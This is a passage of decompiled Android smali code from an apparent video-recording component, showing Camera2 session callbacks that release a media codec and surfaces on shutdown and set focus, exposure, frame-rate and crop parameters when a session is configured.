iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {p1}, Landroid/media/MediaCodec;->stop()V
|
||||
|
||||
.line 280
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {p1}, Landroid/media/MediaCodec;->release()V
|
||||
:try_end_2
|
||||
.catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_2
|
||||
|
||||
goto :goto_2
|
||||
|
||||
:catch_2
|
||||
move-exception p1
|
||||
|
||||
.line 283
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
:cond_0
|
||||
:goto_2
|
||||
const/4 p1, 0x0
|
||||
|
||||
.line 286
|
||||
:try_start_3
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraASUSn;->access$300(Lcom/nvav/srv/recorder/CameraASUSn;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
if-eqz v0, :cond_1
|
||||
|
||||
.line 287
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraASUSn;->access$300(Lcom/nvav/srv/recorder/CameraASUSn;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {v0}, Landroid/view/Surface;->release()V
|
||||
|
||||
.line 288
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraASUSn;->access$302(Lcom/nvav/srv/recorder/CameraASUSn;Landroid/view/Surface;)Landroid/view/Surface;
|
||||
:try_end_3
|
||||
.catch Ljava/lang/Exception; {:try_start_3 .. :try_end_3} :catch_3
|
||||
|
||||
goto :goto_3
|
||||
|
||||
:catch_3
|
||||
move-exception v0
|
||||
|
||||
.line 291
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 294
|
||||
:cond_1
|
||||
:goto_3
|
||||
:try_start_4
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->mOutputSurfaces:Ljava/util/List;
|
||||
|
||||
invoke-interface {v0}, Ljava/util/List;->clear()V
|
||||
|
||||
.line 295
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraASUSn;->mOutputSurfaces:Ljava/util/List;
|
||||
:try_end_4
|
||||
.catch Ljava/lang/Exception; {:try_start_4 .. :try_end_4} :catch_4
|
||||
|
||||
goto :goto_4
|
||||
|
||||
:catch_4
|
||||
move-exception v0
|
||||
|
||||
.line 297
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 299
|
||||
:goto_4
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
.line 300
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraASUSn;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
.line 302
|
||||
:try_start_5
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraASUSn;->access$300(Lcom/nvav/srv/recorder/CameraASUSn;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {p1, v0}, Landroid/hardware/camera2/CaptureRequest$Builder;->removeTarget(Landroid/view/Surface;)V
|
||||
:try_end_5
|
||||
.catch Ljava/lang/Exception; {:try_start_5 .. :try_end_5} :catch_5
|
||||
|
||||
goto :goto_5
|
||||
|
||||
:catch_5
|
||||
move-exception p1
|
||||
|
||||
.line 304
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
:goto_5
|
||||
const-wide/16 v0, 0x2ee
|
||||
|
||||
.line 307
|
||||
:try_start_6
|
||||
invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
|
||||
:try_end_6
|
||||
.catch Ljava/lang/Exception; {:try_start_6 .. :try_end_6} :catch_6
|
||||
|
||||
goto :goto_6
|
||||
|
||||
:catch_6
|
||||
move-exception p1
|
||||
|
||||
.line 309
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 312
|
||||
:goto_6
|
||||
:try_start_7
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mThread:Landroid/os/HandlerThread;
|
||||
|
||||
invoke-virtual {p1}, Landroid/os/HandlerThread;->interrupt()V
|
||||
:try_end_7
|
||||
.catch Ljava/lang/Exception; {:try_start_7 .. :try_end_7} :catch_7
|
||||
|
||||
goto :goto_7
|
||||
|
||||
:catch_7
|
||||
move-exception p1
|
||||
|
||||
.line 314
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 316
|
||||
:goto_7
|
||||
sget-boolean p1, Lcom/nvav/srv/recorder/CameraASUSn;->Restarting:Z
|
||||
|
||||
if-eqz p1, :cond_2
|
||||
|
||||
.line 318
|
||||
:try_start_8
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
invoke-virtual {p1}, Lcom/nvav/srv/recorder/CameraASUSn;->StartRestart()V
|
||||
:try_end_8
|
||||
.catch Ljava/lang/Exception; {:try_start_8 .. :try_end_8} :catch_8
|
||||
|
||||
goto :goto_8
|
||||
|
||||
:catch_8
|
||||
move-exception p1
|
||||
|
||||
.line 320
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 324
|
||||
:cond_2
|
||||
:goto_8
|
||||
sget-boolean p1, Lcom/nvav/srv/recorder/CameraASUSn;->Restarting:Z
|
||||
|
||||
if-eqz p1, :cond_3
|
||||
|
||||
const-wide/16 v0, 0xfa
|
||||
|
||||
.line 326
|
||||
:try_start_9
|
||||
invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
|
||||
:try_end_9
|
||||
.catch Ljava/lang/Exception; {:try_start_9 .. :try_end_9} :catch_9
|
||||
|
||||
goto :goto_9
|
||||
|
||||
:catch_9
|
||||
move-exception p1
|
||||
|
||||
.line 328
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 330
|
||||
:goto_9
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->cafm:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 331
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->lfd:F
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Float;->valueOf(F)Ljava/lang/Float;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
const/4 p1, 0x0
|
||||
|
||||
.line 332
|
||||
sput-boolean p1, Lcom/nvav/srv/recorder/CameraASUSn;->Restarting:Z
|
||||
|
||||
.line 333
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraASUSn;->access$600(Lcom/nvav/srv/recorder/CameraASUSn;)V
|
||||
|
||||
:cond_3
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onConfigureFailed(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 1
|
||||
|
||||
.line 343
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v0, "result=Session failed configure."
|
||||
|
||||
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onConfigured(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 5
|
||||
|
||||
.line 225
|
||||
:try_start_0
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v1, "result=Session configure."
|
||||
|
||||
invoke-virtual {v0, v1}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 226
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
const/4 v1, 0x5
|
||||
|
||||
aget-object v0, v0, v1
|
||||
|
||||
invoke-static {v0}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v0
|
||||
|
||||
const/16 v2, 0x1e
|
||||
|
||||
if-le v0, v2, :cond_0
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
check-cast p1, Landroid/hardware/camera2/CameraConstrainedHighSpeedCaptureSession;
|
||||
|
||||
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraASUSn;->access$402(Lcom/nvav/srv/recorder/CameraASUSn;Landroid/hardware/camera2/CameraConstrainedHighSpeedCaptureSession;)Landroid/hardware/camera2/CameraConstrainedHighSpeedCaptureSession;
|
||||
|
||||
goto :goto_0
|
||||
|
||||
.line 227
|
||||
:cond_0
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraASUSn;->access$502(Lcom/nvav/srv/recorder/CameraASUSn;Landroid/hardware/camera2/CameraCaptureSession;)Landroid/hardware/camera2/CameraCaptureSession;
|
||||
|
||||
.line 228
|
||||
:goto_0
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
const/4 v2, 0x3
|
||||
|
||||
invoke-virtual {v0, v2}, Landroid/hardware/camera2/CameraDevice;->createCaptureRequest(I)Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
.line 229
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraASUSn;->access$300(Lcom/nvav/srv/recorder/CameraASUSn;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {p1, v0}, Landroid/hardware/camera2/CaptureRequest$Builder;->addTarget(Landroid/view/Surface;)V
|
||||
|
||||
.line 230
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_TARGET_FPS_RANGE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
new-instance v2, Landroid/util/Range;
|
||||
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v3, v3, Lcom/nvav/srv/recorder/CameraASUSn;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
const/4 v4, 0x4
|
||||
|
||||
aget-object v3, v3, v4
|
||||
|
||||
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v3
|
||||
|
||||
invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
iget-object v4, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v4, v4, Lcom/nvav/srv/recorder/CameraASUSn;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
aget-object v1, v4, v1
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v1
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-direct {v2, v3, v1}, Landroid/util/Range;-><init>(Ljava/lang/Comparable;Ljava/lang/Comparable;)V
|
||||
|
||||
invoke-virtual {p1, v0, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 231
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraASUSn;->access$600(Lcom/nvav/srv/recorder/CameraASUSn;)V
|
||||
|
||||
.line 232
|
||||
sget-boolean p1, Lcom/nvav/srv/recorder/CameraASUSn;->Restarting:Z
|
||||
|
||||
if-eqz p1, :cond_1
|
||||
|
||||
.line 233
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SCALER_CROP_REGION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->rect:Landroid/graphics/Rect;
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 234
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_EXPOSURE_COMPENSATION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->aec:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 235
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_EFFECT_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->cem:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 236
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_REGIONS:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->cafr:[Landroid/hardware/camera2/params/MeteringRectangle;
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 237
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->ss:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 238
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->sfd:Ljava/lang/Long;
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 239
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->set:Ljava/lang/Long;
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 240
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->cafm:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 241
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$3;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->caem:I
|
||||
|
||||
